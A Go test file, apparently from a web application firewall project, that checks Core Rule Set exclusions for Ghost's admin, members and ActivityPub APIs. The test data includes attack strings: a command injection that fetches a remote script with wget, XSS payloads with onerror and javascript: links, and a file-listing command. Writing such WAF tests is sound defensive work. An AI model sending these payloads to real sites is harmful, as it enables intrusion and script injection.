check / check (push) In progress
Applies the setting renames of the naming audit under the SWW_WAF_ and SWW_RPROXY_ prefixes, with sneak's names for the IP reputation cache time and the two time limits, which now take milliseconds. The rproxy log field default_disposition becomes waf_backend_no_answer, and config.Config and config.FromEnvironment become config.WAF and config.WAFFromEnvironment. Go fields, test names and prose follow. No aliases; nothing reads the old names. Model: opus-5-5
1057 lines
34 KiB
Go
1057 lines
34 KiB
Go
package coreruleset_test
|
|
|
|
import (
|
|
"encoding/json"
|
|
"net/http"
|
|
"net/url"
|
|
"slices"
|
|
"strings"
|
|
"testing"
|
|
|
|
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
|
)
|
|
|
|
// ghostThreshold is SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default.
|
|
const ghostThreshold = 5
|
|
|
|
// Paths of Ghost's Admin API, Content API and members' API.
|
|
const (
|
|
ghostPosts = "/ghost/api/admin/posts/"
|
|
ghostPost = ghostPosts + "6af458a5d281b00001a59969/"
|
|
ghostPage = "/ghost/api/admin/pages/6af45d34d281b00001a599a0/"
|
|
ghostNewsletter = "/ghost/api/admin/newsletters/6af45710d281b00001a598a1/"
|
|
ghostMembers = "/ghost/api/admin/members/"
|
|
ghostSettings = "/ghost/api/admin/settings/"
|
|
ghostSession = "/ghost/api/admin/session/"
|
|
ghostSetup = "/ghost/api/admin/authentication/setup/"
|
|
ghostPasswordReset = "/ghost/api/admin/authentication/password_reset/"
|
|
ghostUser = "/ghost/api/admin/users/6af4570fd281b00001a59891/"
|
|
ghostMember = "/members/api/member/"
|
|
ghostMagicLink = "/members/api/send-magic-link/"
|
|
ghostInvites = "/ghost/api/admin/invites/"
|
|
ghostInvitation = "/ghost/api/admin/authentication/invitation/"
|
|
ghostTiers = "/ghost/api/admin/tiers/6af45710d281b00001a598a3/"
|
|
ghostOffers = "/ghost/api/admin/offers/"
|
|
ghostRecommended = "/ghost/api/admin/recommendations/"
|
|
ghostTags = "/ghost/api/admin/tags/"
|
|
ghostImport = "/ghost/api/admin/members/upload/"
|
|
ghostComments = "/members/api/comments/"
|
|
ghostNote = "/.ghost/activitypub/v1/actions/note"
|
|
ghostAccount = "/.ghost/activitypub/v1/account"
|
|
ghostAliases = "/.ghost/activitypub/v1/aliases"
|
|
ghostMigration = "/.ghost/activitypub/v1/migration"
|
|
ghostDomain = "/.ghost/activitypub/v1/domain"
|
|
)
|
|
|
|
func TestGhostFixesApplyOnlyToAHostnameThatServesGhost(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := servingApps(t, map[string][]string{
|
|
giteaHost: {gitea}, otherHost: {"ghost"},
|
|
})
|
|
|
|
// A filter, which only Ghost's fixes let through.
|
|
filter := get(ghostPosts + "?filter=tag:powershell")
|
|
|
|
wantResult(t, crs, withHost(filter, otherHost), coreruleset.Result{})
|
|
wantResult(t, crs, withHost(filter, giteaHost), matched(932120))
|
|
}
|
|
|
|
// ghostField is a field of a JSON body Ghost receives: the request that
|
|
// sends it, and its body, with VALUE where the field's value goes.
|
|
type ghostField struct{ method, target, body string }
|
|
|
|
// with returns f's body holding value, escaped for JSON.
|
|
func (f ghostField) with(t *testing.T, value string) string {
|
|
t.Helper()
|
|
|
|
quoted, err := json.Marshal(value)
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
|
|
return strings.ReplaceAll(
|
|
f.body,
|
|
"VALUE",
|
|
string(quoted[1:len(quoted)-1]),
|
|
)
|
|
}
|
|
|
|
// ghostTextFields hold plain text and skip the eight rules that 900353 lists.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var ghostTextFields = []ghostField{
|
|
{http.MethodPut, ghostPost, `{"posts":[{"title":"VALUE"}]}`},
|
|
{http.MethodPut, ghostPost, `{"posts":[{"custom_excerpt":"VALUE"}]}`},
|
|
{http.MethodPut, ghostPost, `{"posts":[{"meta_title":"VALUE"}]}`},
|
|
{http.MethodPut, ghostPost, `{"posts":[{"og_description":"VALUE"}]}`},
|
|
{
|
|
http.MethodPut,
|
|
ghostPost,
|
|
`{"posts":[{"tags":[{"id":"1"},{"name":"VALUE"}]}]}`,
|
|
},
|
|
{http.MethodPost, ghostPosts, `{"posts":[{"tags":["VALUE"]}]}`},
|
|
{
|
|
http.MethodPost,
|
|
"/ghost/api/admin/pages/",
|
|
`{"pages":[{"slug":"VALUE"}]}`,
|
|
},
|
|
{
|
|
http.MethodPost,
|
|
"/ghost/api/admin/tags/",
|
|
`{"tags":[{"name":"VALUE"}]}`,
|
|
},
|
|
{
|
|
http.MethodPost,
|
|
"/ghost/api/admin/tags/",
|
|
`{"tags":[{"description":"VALUE"}]}`,
|
|
},
|
|
{
|
|
http.MethodPost,
|
|
"/ghost/api/admin/labels/",
|
|
`{"labels":[{"name":"VALUE"}]}`,
|
|
},
|
|
{http.MethodPost, ghostMembers, `{"members":[{"note":"VALUE"}]}`},
|
|
{
|
|
http.MethodPost,
|
|
ghostMembers,
|
|
`{"members":[{"labels":[{"name":"VALUE"}]}]}`,
|
|
},
|
|
{http.MethodPut, ghostNewsletter, `{"newsletters":[{"name":"VALUE"}]}`},
|
|
{
|
|
http.MethodPut,
|
|
ghostNewsletter,
|
|
`{"newsletters":[{"sender_name":"VALUE"}]}`,
|
|
},
|
|
{
|
|
http.MethodPost,
|
|
"/ghost/api/admin/snippets/",
|
|
`{"snippets":[{"name":"VALUE"}]}`,
|
|
},
|
|
{http.MethodPut, ghostMember, ghostMemberName},
|
|
|
|
// A staff user's profile, the first staff user, an invitation accepted.
|
|
{http.MethodPut, ghostUser, `{"users":[{"name":"VALUE"}]}`},
|
|
{http.MethodPut, ghostUser, `{"users":[{"slug":"VALUE"}]}`},
|
|
{http.MethodPut, ghostUser, `{"users":[{"bio":"VALUE"}]}`},
|
|
{http.MethodPut, ghostUser, `{"users":[{"location":"VALUE"}]}`},
|
|
{http.MethodPut, ghostUser, `{"users":[{"website":"VALUE"}]}`},
|
|
{http.MethodPost, ghostSetup, `{"setup":[{"blogTitle":"VALUE"}]}`},
|
|
{http.MethodPost, ghostSetup, `{"setup":[{"name":"VALUE"}]}`},
|
|
{http.MethodPost, ghostInvitation, `{"invitation":[{"name":"VALUE"}]}`},
|
|
|
|
// Tiers, offers, recommendations, integrations and webhooks.
|
|
{http.MethodPut, ghostTiers, `{"tiers":[{"name":"VALUE"}]}`},
|
|
{http.MethodPut, ghostTiers, `{"tiers":[{"description":"VALUE"}]}`},
|
|
{
|
|
http.MethodPut,
|
|
ghostTiers,
|
|
`{"tiers":[{"benefits":["Tips","VALUE"]}]}`,
|
|
},
|
|
{http.MethodPost, ghostOffers, `{"offers":[{"name":"VALUE"}]}`},
|
|
{http.MethodPost, ghostOffers, `{"offers":[{"code":"VALUE"}]}`},
|
|
{http.MethodPost, ghostOffers, `{"offers":[{"display_title":"VALUE"}]}`},
|
|
{
|
|
http.MethodPost,
|
|
ghostOffers,
|
|
`{"offers":[{"display_description":"VALUE"}]}`,
|
|
},
|
|
{
|
|
http.MethodPost,
|
|
ghostRecommended,
|
|
`{"recommendations":[{"title":"VALUE"}]}`,
|
|
},
|
|
{
|
|
http.MethodPost,
|
|
ghostRecommended,
|
|
`{"recommendations":[{"description":"VALUE"}]}`,
|
|
},
|
|
{
|
|
http.MethodPost,
|
|
ghostRecommended,
|
|
`{"recommendations":[{"excerpt":"VALUE"}]}`,
|
|
},
|
|
{
|
|
http.MethodPost,
|
|
"/ghost/api/admin/integrations/",
|
|
`{"integrations":[{"name":"VALUE","description":"VALUE"}]}`,
|
|
},
|
|
{
|
|
http.MethodPost,
|
|
"/ghost/api/admin/webhooks/",
|
|
`{"webhooks":[{"event":"post.published","name":"VALUE"}]}`,
|
|
},
|
|
|
|
// A feature image's alt text and caption.
|
|
{http.MethodPut, ghostPost, `{"posts":[{"feature_image_alt":"VALUE"}]}`},
|
|
{
|
|
http.MethodPut,
|
|
ghostPost,
|
|
`{"posts":[{"feature_image_caption":` +
|
|
`"Photo: <a href=\"https://example.com/\">VALUE</a>"}]}`,
|
|
},
|
|
{http.MethodPut, ghostPage, `{"pages":[{"feature_image_alt":"VALUE"}]}`},
|
|
|
|
// A member's comment, written and edited.
|
|
ghostNewComment,
|
|
{
|
|
http.MethodPut,
|
|
ghostComments + "6af5426ae56ecb0001938894/",
|
|
`{"comments":[{"id":"6af5426ae56ecb0001938894","html":"<p>VALUE</p>"}]}`,
|
|
},
|
|
|
|
// ActivityPub: a note, a reply, the description of their image, and the
|
|
// account.
|
|
{http.MethodPost, ghostNote, `{"content":"VALUE"}`},
|
|
{http.MethodPost, ghostReply, `{"content":"VALUE"}`},
|
|
{http.MethodPost, ghostNote, ghostNoteImage},
|
|
{http.MethodPost, ghostReply, ghostNoteImage},
|
|
{http.MethodPut, ghostAccount, `{"name":"VALUE","username":"alice"}`},
|
|
{http.MethodPut, ghostAccount, `{"username":"VALUE"}`},
|
|
{http.MethodPut, ghostAccount, `{"bio":"VALUE"}`},
|
|
}
|
|
|
|
// ghostNewComment is a member's comment on a post, with VALUE in a paragraph.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a struct
|
|
var ghostNewComment = ghostField{
|
|
http.MethodPost,
|
|
ghostComments,
|
|
`{"comments":[{"post_id":"6af458a5d281b00001a59969","html":"<p>VALUE</p>"}]}`,
|
|
}
|
|
|
|
// ghostComment is the HTML of an ordinary comment, with a link.
|
|
const ghostComment = `Try <strong>python3</strong>, then ` +
|
|
`<a href="https://example.com/ls-la" rel="ugc">ls -la</a>.`
|
|
|
|
// ghostNoteImage is the body of a note or a reply in ActivityPub with an
|
|
// image, with VALUE as the image's description.
|
|
const ghostNoteImage = `{"content":"My desk","image":{"url":` +
|
|
`"https://example.com/content/images/desk.png","altText":"VALUE"}}`
|
|
|
|
// ghostReply is the path that posts a reply to a note in ActivityPub.
|
|
const ghostReply = "/.ghost/activitypub/v1/actions/reply/" +
|
|
"https%3A%2F%2Fexample.com%2F.ghost%2Factivitypub%2Fnote%2F" +
|
|
"0d6e3b4c-2a1f-4b5e-9c8d-7e6f5a4b3c2d"
|
|
|
|
// ghostMemberName is the body that saves a member's name at /members/api/.
|
|
const ghostMemberName = `{"name":"VALUE"}`
|
|
|
|
// ghostAddressFields hold a member's or a staff user's email address and skip
|
|
// 930120, 932120 and 932260.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var ghostAddressFields = []ghostField{
|
|
{
|
|
http.MethodPost,
|
|
ghostMagicLink,
|
|
`{"email":"VALUE","emailType":"signup"}`,
|
|
},
|
|
{http.MethodPut, ghostMember, `{"email":"VALUE"}`},
|
|
{http.MethodPost, ghostMembers, `{"members":[{"email":"VALUE"}]}`},
|
|
{http.MethodPost, ghostSession, `{"username":"VALUE"}`},
|
|
{http.MethodPost, ghostSetup, `{"setup":[{"email":"VALUE"}]}`},
|
|
{http.MethodPost, ghostInvites, `{"invites":[{"email":"VALUE"}]}`},
|
|
{http.MethodPost, ghostInvitation, `{"invitation":[{"email":"VALUE"}]}`},
|
|
{
|
|
http.MethodPost,
|
|
ghostPasswordReset,
|
|
`{"password_reset":[{"email":"VALUE"}]}`,
|
|
},
|
|
{http.MethodPut, ghostUser, `{"users":[{"email":"VALUE"}]}`},
|
|
}
|
|
|
|
// ghostHandleFields hold an account's handle in ActivityPub, which the admin
|
|
// sends as an @ followed by an address, with no spaces. They skip 930120 and
|
|
// 932120.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var ghostHandleFields = []ghostField{
|
|
{http.MethodPost, ghostAliases, `{"sourceHandle":"@VALUE"}`},
|
|
{http.MethodPost, ghostMigration, `{"targetHandle":"@VALUE"}`},
|
|
}
|
|
|
|
// ghostDomainFields hold the domain of the site's handle in ActivityPub and
|
|
// skip 930120, 932120 and 932260.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var ghostDomainFields = []ghostField{
|
|
{http.MethodPut, ghostDomain, `{"domain":"VALUE"}`},
|
|
{http.MethodPost, ghostDomain + "/validate", `{"domain":"VALUE"}`},
|
|
}
|
|
|
|
// ghostURLFields hold the canonical URL of a post, a page or a tag, or the
|
|
// address of an account removed from those that move here in ActivityPub.
|
|
// They skip 930120 and 932120, as url does.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var ghostURLFields = []ghostField{
|
|
{http.MethodPut, ghostPost, `{"posts":[{"canonical_url":"VALUE"}]}`},
|
|
{http.MethodPost, ghostPosts, `{"posts":[{"canonical_url":"VALUE"}]}`},
|
|
{http.MethodPut, ghostPage, `{"pages":[{"canonical_url":"VALUE"}]}`},
|
|
{http.MethodPost, ghostTags, `{"tags":[{"canonical_url":"VALUE"}]}`},
|
|
{
|
|
http.MethodPut,
|
|
ghostTags + "6af45d4ed281b00001a599a8/",
|
|
`{"tags":[{"canonical_url":"VALUE"}]}`,
|
|
},
|
|
{http.MethodDelete, ghostAliases, `{"actorUri":"VALUE"}`},
|
|
}
|
|
|
|
// ghostPostFields hold a post or a page, skip the rules of 900355, and take a
|
|
// <script> element by 900366.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var ghostPostFields = []ghostField{
|
|
{http.MethodPut, ghostPost, `{"posts":[{"lexical":"VALUE"}]}`},
|
|
{http.MethodPut, ghostPage, `{"pages":[{"lexical":"VALUE"}]}`},
|
|
{
|
|
http.MethodPost,
|
|
ghostPosts + "?source=html",
|
|
`{"posts":[{"html":"VALUE"}]}`,
|
|
},
|
|
{http.MethodPost, ghostPosts, `{"posts":[{"mobiledoc":"VALUE"}]}`},
|
|
}
|
|
|
|
// ghostSnippetAndNewsletterFooterFields hold a snippet or a newsletter's
|
|
// footer, skip the rules of 900355, and still refuse a <script> element.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var ghostSnippetAndNewsletterFooterFields = []ghostField{
|
|
{
|
|
http.MethodPost,
|
|
"/ghost/api/admin/snippets/",
|
|
`{"snippets":[{"lexical":"VALUE"}]}`,
|
|
},
|
|
{
|
|
http.MethodPut,
|
|
ghostNewsletter,
|
|
`{"newsletters":[{"footer_content":"VALUE"}]}`,
|
|
},
|
|
}
|
|
|
|
// ghostArticleFields hold an article and skip the rules of 900355.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var ghostArticleFields = slices.Concat(
|
|
ghostPostFields,
|
|
ghostSnippetAndNewsletterFooterFields,
|
|
)
|
|
|
|
// ghostCodeFields hold code injection or a setting, skip the rules of 900356
|
|
// and 900378, and take a <script> element by 900366 and 900378.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var ghostCodeFields = []ghostField{
|
|
{
|
|
http.MethodPut,
|
|
ghostPost,
|
|
`{"posts":[{"codeinjection_head":"VALUE"}]}`,
|
|
},
|
|
{
|
|
http.MethodPut,
|
|
ghostPage,
|
|
`{"pages":[{"codeinjection_foot":"VALUE"}]}`,
|
|
},
|
|
{
|
|
http.MethodPut, ghostSettings,
|
|
`{"settings":[{"key":"title","value":"Blog"},` +
|
|
`{"key":"codeinjection_head","value":"VALUE"}]}`,
|
|
},
|
|
{
|
|
http.MethodPost,
|
|
ghostTags,
|
|
`{"tags":[{"codeinjection_head":"VALUE"}]}`,
|
|
},
|
|
{
|
|
http.MethodPut,
|
|
ghostTags + "6af45d4ed281b00001a599a8/",
|
|
`{"tags":[{"codeinjection_foot":"VALUE"}]}`,
|
|
},
|
|
}
|
|
|
|
// The query fields that skip some rules, each ending in "=".
|
|
const (
|
|
ghostAdminFilter = ghostPosts + "?limit=30&filter="
|
|
ghostContentFilter = "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&filter="
|
|
ghostSearch = ghostMembers + "?limit=100&search="
|
|
ghostEmbed = "/ghost/api/admin/oembed/?type=bookmark&url="
|
|
ghostStats = "/ghost/api/admin/stats/top-content/?date_from=2026-10-13"
|
|
ghostPathname = ghostStats + "&pathname="
|
|
ghostSource = ghostStats + "&source="
|
|
ghostCampaign = ghostStats + "&utm_campaign="
|
|
ghostSegment = ghostPost + "?newsletter=default-newsletter&email_segment="
|
|
ghostAccountSearch = "/.ghost/activitypub/v1/actions/search?query="
|
|
ghostInvitedEmail = ghostInvitation + "?email="
|
|
)
|
|
|
|
// ghostAnalyticsFilters are source and the utm_ fields, which filter the
|
|
// analytics, each ending in "=".
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var ghostAnalyticsFilters = []string{
|
|
ghostSource,
|
|
ghostStats + "&utm_source=",
|
|
ghostStats + "&utm_medium=",
|
|
ghostCampaign,
|
|
ghostStats + "&utm_content=",
|
|
ghostStats + "&utm_term=",
|
|
}
|
|
|
|
// ghostQueryFields are the query fields that skip some rules.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var ghostQueryFields = []string{
|
|
ghostAdminFilter, ghostContentFilter, ghostSearch, ghostEmbed,
|
|
ghostPathname, ghostSource, ghostCampaign, ghostSegment,
|
|
ghostAccountSearch, ghostInvitedEmail,
|
|
}
|
|
|
|
// ghostCommandNames joins two command names, as an ordinary title can.
|
|
const ghostCommandNames = "powershell & python3"
|
|
|
|
// ghostURLs are addresses 930120 and 932120 refused in url and in
|
|
// ghostURLFields.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var ghostURLs = []string{
|
|
"https://github.com/example/site/blob/main/.htaccess",
|
|
"https://example.com/blog/powershell-tips?ref=ghost",
|
|
"https://example.com/docs/python3/",
|
|
"https://example.com/blog/powershell/",
|
|
"https://example.com/blog/.htaccess/",
|
|
}
|
|
|
|
// ghostAddresses are addresses 930120, 932120 and 932260 refused.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var ghostAddresses = []string{
|
|
"erin.htaccess@example.com",
|
|
"python3.dev@example.com",
|
|
"dave.powershell@example.com",
|
|
}
|
|
|
|
// ghostDomains are domains 930120, 932120 and 932260 refused.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var ghostDomains = []string{
|
|
"erin.htaccess.example.com",
|
|
"python3.example.com",
|
|
"powershell.example.com",
|
|
}
|
|
|
|
// ghostArticle is an ordinary article with a code block, an HTML card and an
|
|
// embed, which each of the rules of 900355 refused.
|
|
const ghostArticle = `<h2>Tidy .htaccess with python3</h2>` +
|
|
`<pre><code>#!/usr/bin/env python3
|
|
cat /etc/hosts | grep example
|
|
ls -la /var/www/html/.htaccess
|
|
powershell -ExecutionPolicy Bypass -File build.ps1
|
|
SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;
|
|
document.querySelectorAll('a').forEach((a) => console.log(a.href));
|
|
window.onload = () => alert('ready');</code></pre>` +
|
|
`<iframe src="https://www.youtube-nocookie.com/embed/x" allowfullscreen></iframe>` +
|
|
`<img src="https://images.example.com/banner.png" ` +
|
|
`onclick="this.classList.toggle('big')">`
|
|
|
|
// ghostCodeInjection is ordinary code injection for the head of a page.
|
|
const ghostCodeInjection = `<meta name="google-site-verification" content="x">` +
|
|
`<link rel="preconnect" href="https://fonts.example.com">` +
|
|
`<style>.gh-head { border-bottom: 1px solid #eee; }</style>`
|
|
|
|
// wantGhostField checks that the Core Rule Set, reading bodies, refuses f
|
|
// holding value, or lets it through.
|
|
func wantGhostField(t *testing.T, f ghostField, value string, refused bool) {
|
|
t.Helper()
|
|
|
|
r := request{f.method, f.target, []string{jsonBody}}
|
|
body := f.with(t, value)
|
|
|
|
got, _ := inspectBody(t, readingBodies(t), r, body)
|
|
if refused && got.Score < ghostThreshold {
|
|
t.Errorf(
|
|
"%s %s %.300s let through: %+v",
|
|
f.method,
|
|
f.target,
|
|
body,
|
|
got,
|
|
)
|
|
}
|
|
|
|
if !refused && got.Score >= ghostThreshold {
|
|
t.Errorf("%s %s %.300s refused: %+v", f.method, f.target, body, got)
|
|
}
|
|
}
|
|
|
|
// wantGhostQuery checks that the Core Rule Set, at the defaults, refuses
|
|
// target, a query field and its value, or lets it through.
|
|
func wantGhostQuery(t *testing.T, target string, refused bool) {
|
|
t.Helper()
|
|
|
|
got := inspect(t, atDefaults(t), get(target))
|
|
if refused && got.Score < ghostThreshold {
|
|
t.Errorf("%s let through: %+v", target, got)
|
|
}
|
|
|
|
if !refused && got.Score >= ghostThreshold {
|
|
t.Errorf("%s refused: %+v", target, got)
|
|
}
|
|
}
|
|
|
|
func TestGhostOrdinaryValuesPassInTheExcludedFields(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
for _, encoded := range hardValues {
|
|
value, _ := url.QueryUnescape(encoded)
|
|
|
|
fields := slices.Concat(
|
|
ghostTextFields,
|
|
ghostArticleFields,
|
|
ghostCodeFields,
|
|
)
|
|
for _, f := range fields {
|
|
wantGhostField(t, f, "Notes on "+value+" & tidy files", false)
|
|
}
|
|
|
|
// filter as the admin's pickers write it, and search as typed.
|
|
wantGhostQuery(
|
|
t,
|
|
ghostAdminFilter+url.QueryEscape("title:~'"+value+"'"),
|
|
false,
|
|
)
|
|
wantGhostQuery(
|
|
t,
|
|
ghostContentFilter+url.QueryEscape("tags.name:~'"+value+"'"),
|
|
false,
|
|
)
|
|
wantGhostQuery(t, ghostSearch+encoded, false)
|
|
}
|
|
|
|
for _, address := range ghostURLs {
|
|
wantGhostQuery(t, ghostEmbed+url.QueryEscape(address), false)
|
|
|
|
for _, f := range ghostURLFields {
|
|
wantGhostField(t, f, address, false)
|
|
}
|
|
}
|
|
|
|
for _, address := range ghostAddresses {
|
|
for _, f := range slices.Concat(ghostAddressFields, ghostHandleFields) {
|
|
wantGhostField(t, f, address, false)
|
|
}
|
|
}
|
|
|
|
for _, domain := range ghostDomains {
|
|
for _, f := range ghostDomainFields {
|
|
wantGhostField(t, f, domain, false)
|
|
}
|
|
}
|
|
|
|
for _, f := range ghostArticleFields {
|
|
wantGhostField(t, f, ghostArticle, false)
|
|
}
|
|
|
|
for _, f := range ghostCodeFields {
|
|
wantGhostField(t, f, ghostCodeInjection, false)
|
|
}
|
|
|
|
wantGhostField(t, ghostNewComment, ghostComment, false)
|
|
wantGhostField(
|
|
t,
|
|
ghostField{http.MethodPost, ghostNote, ghostNoteImage},
|
|
"A terminal running ls -la on .htaccess with python3",
|
|
false,
|
|
)
|
|
|
|
wantGhostQuery(t, "/ghost/api/admin/posts/?filter="+
|
|
url.QueryEscape(
|
|
"tag:powershell+status:[draft,scheduled,published,sent]",
|
|
), false)
|
|
wantGhostQuery(t, "/ghost/api/admin/members/?filter="+
|
|
url.QueryEscape("label:[powershell-users]+name:~'ls -la'"), false)
|
|
}
|
|
|
|
// ghostWidget is an HTML card that embeds a widget with its script.
|
|
const ghostWidget = `<div id="signup"></div>` +
|
|
`<script src="https://widgets.example.com/form.js" async></script>`
|
|
|
|
// ghostWidgetCard is ghostWidget as the editor saves it in lexical.
|
|
const ghostWidgetCard = `{"root":{"children":[{"type":"html","version":1,` +
|
|
`"html":"<div id=\"signup\"></div><script ` +
|
|
`src=\"https://widgets.example.com/form.js\" async></script>"}],` +
|
|
`"direction":null,"format":"","indent":0,"type":"root","version":1}}`
|
|
|
|
// ghostAnalytics is code injection that loads analytics.
|
|
const ghostAnalytics = `<script defer ` +
|
|
`src="https://analytics.example.com/script.js"></script>`
|
|
|
|
func TestGhostScriptsPassInPostsAndCodeInjection(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
// An HTML card in a post, as the editor saves it, and as integrations
|
|
// send it.
|
|
wantGhostField(t, ghostPostFields[0], ghostWidgetCard, false)
|
|
|
|
for _, f := range ghostPostFields {
|
|
wantGhostField(t, f, ghostWidget, false)
|
|
}
|
|
|
|
// Site code injection, saved in settings, and a post's, a page's or a
|
|
// tag's own.
|
|
for _, f := range ghostCodeFields {
|
|
wantGhostField(t, f, ghostAnalytics, false)
|
|
}
|
|
}
|
|
|
|
// ghostAttacks are an SQL injection and a path traversal, not escaped.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var ghostAttacks = []string{injection, pathTraversal}
|
|
|
|
// commandAfterASeparator is a shell command after a ";", not escaped.
|
|
const commandAfterASeparator = "; wget http://example.com/x.sh"
|
|
|
|
func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
for _, attack := range ghostAttacks {
|
|
for _, f := range slices.Concat(ghostTextFields, ghostAddressFields,
|
|
ghostHandleFields, ghostDomainFields, ghostURLFields,
|
|
ghostArticleFields, ghostCodeFields) {
|
|
wantGhostField(t, f, attack, true)
|
|
}
|
|
|
|
for _, target := range ghostQueryFields {
|
|
wantGhostQuery(t, target+url.QueryEscape(attack), true)
|
|
}
|
|
}
|
|
|
|
// A script injection stays refused in every field that does not take a
|
|
// <script> element.
|
|
for _, f := range slices.Concat(ghostTextFields, ghostAddressFields,
|
|
ghostHandleFields, ghostDomainFields, ghostURLFields,
|
|
ghostSnippetAndNewsletterFooterFields) {
|
|
wantGhostField(t, f, scriptTag, true)
|
|
}
|
|
|
|
for _, target := range ghostQueryFields {
|
|
wantGhostQuery(t, target+url.QueryEscape(scriptTag), true)
|
|
}
|
|
|
|
// A command after a separator stays refused wherever 932235 does not
|
|
// misfire: in the addresses, handles, the domain, ghostURLFields, search,
|
|
// url, pathname, email_segment and email. The other fields skip 932235,
|
|
// which refuses "powershell & python3" as it refuses this.
|
|
for _, f := range slices.Concat(ghostAddressFields, ghostHandleFields,
|
|
ghostDomainFields, ghostURLFields) {
|
|
wantGhostField(t, f, commandAfterASeparator, true)
|
|
}
|
|
|
|
for _, target := range []string{
|
|
ghostSearch, ghostEmbed, ghostPathname, ghostSegment,
|
|
ghostInvitedEmail,
|
|
} {
|
|
wantGhostQuery(
|
|
t,
|
|
target+url.QueryEscape(commandAfterASeparator),
|
|
true,
|
|
)
|
|
}
|
|
|
|
// A comment keeps the rules for scripts and HTML.
|
|
wantGhostField(t, ghostNewComment, `<img src=x onerror=alert(1)>`, true)
|
|
wantGhostField(
|
|
t,
|
|
ghostNewComment,
|
|
`<a href="javascript:alert(1)">x</a>`,
|
|
true,
|
|
)
|
|
|
|
// The articles and code injection carry HTML on purpose, but a
|
|
// javascript: link is still refused there, and a script element in
|
|
// snippets and a newsletter's footer.
|
|
for _, f := range slices.Concat(ghostArticleFields, ghostCodeFields) {
|
|
wantGhostField(t, f, `<a href="javascript:alert(1)">click</a>`, true)
|
|
}
|
|
|
|
for _, f := range ghostSnippetAndNewsletterFooterFields {
|
|
wantGhostField(t, f, `<p>Hi</p><script src="/x.js"></script>`, true)
|
|
}
|
|
|
|
// An address and the domain keep 932250, which refuses a listing of
|
|
// files. A handle keeps it too, but its @ comes before any command.
|
|
for _, f := range slices.Concat(ghostAddressFields, ghostDomainFields) {
|
|
wantGhostField(t, f, "ls -la /root", true)
|
|
}
|
|
}
|
|
|
|
func TestGhostTwoCommandNamesPass(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
// The site's title, saved through settings.
|
|
siteTitle := ghostField{
|
|
http.MethodPut,
|
|
ghostSettings,
|
|
`{"settings":[{"key":"title","value":"VALUE"}]}`,
|
|
}
|
|
wantGhostField(t, siteTitle, ghostCommandNames, false)
|
|
|
|
// Values that join two command names, as a person types them.
|
|
for _, typed := range []string{
|
|
ghostCommandNames, "python3 & powershell", "powershell & ls -la",
|
|
"ls -la & python3",
|
|
} {
|
|
for _, f := range slices.Concat(ghostTextFields, ghostCodeFields) {
|
|
wantGhostField(t, f, typed, false)
|
|
}
|
|
|
|
wantGhostImportLabel(t, ghostImport, typed, false)
|
|
|
|
for _, target := range slices.Concat(
|
|
ghostAnalyticsFilters,
|
|
[]string{ghostAccountSearch},
|
|
) {
|
|
wantGhostQuery(t, target+url.QueryEscape(typed), false)
|
|
}
|
|
|
|
// filter as the admin's post picker writes it, after a person types
|
|
// such a title.
|
|
filter := "status:published+title:~'" + typed + "'"
|
|
wantGhostQuery(t, ghostAdminFilter+url.QueryEscape(filter), false)
|
|
}
|
|
}
|
|
|
|
// TestGhostOrdinaryQueriesPass checks the query fields of the analytics
|
|
// pages, email_segment, the search of ActivityPub and the check of an
|
|
// invitation.
|
|
func TestGhostOrdinaryQueriesPass(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
for _, encoded := range hardValues {
|
|
value, _ := url.QueryUnescape(encoded)
|
|
text := url.QueryEscape("Notes on " + value + " & tidy files")
|
|
|
|
for _, target := range ghostAnalyticsFilters {
|
|
wantGhostQuery(t, target+encoded, false)
|
|
}
|
|
|
|
wantGhostQuery(t, ghostCampaign+text, false)
|
|
wantGhostQuery(t, ghostAccountSearch+text, false)
|
|
}
|
|
|
|
// pathname, the page the analytics show: a post and two tag pages.
|
|
for _, path := range []string{
|
|
"/tag/proc/", "/python3-and-powershell/", "/tag/python3/",
|
|
} {
|
|
wantGhostQuery(t, ghostPathname+url.QueryEscape(path), false)
|
|
}
|
|
|
|
wantGhostQuery(
|
|
t,
|
|
ghostCampaign+url.QueryEscape(ghostCommandNames),
|
|
false,
|
|
)
|
|
wantGhostQuery(
|
|
t,
|
|
ghostAccountSearch+"%40powershell%40example.com",
|
|
false,
|
|
)
|
|
|
|
for _, segment := range []string{
|
|
"label:powershell-users", "label:python3", "label:ls-la",
|
|
"label:htaccess", "status:free,tier:powershell-club",
|
|
} {
|
|
wantGhostQuery(t, ghostSegment+url.QueryEscape(segment), false)
|
|
}
|
|
|
|
for _, address := range ghostAddresses {
|
|
wantGhostQuery(t, ghostInvitedEmail+url.QueryEscape(address), false)
|
|
}
|
|
}
|
|
|
|
// wantGhostImportLabel checks that the Core Rule Set, reading bodies,
|
|
// refuses label, sent as labels in a CSV import to target, or lets it
|
|
// through.
|
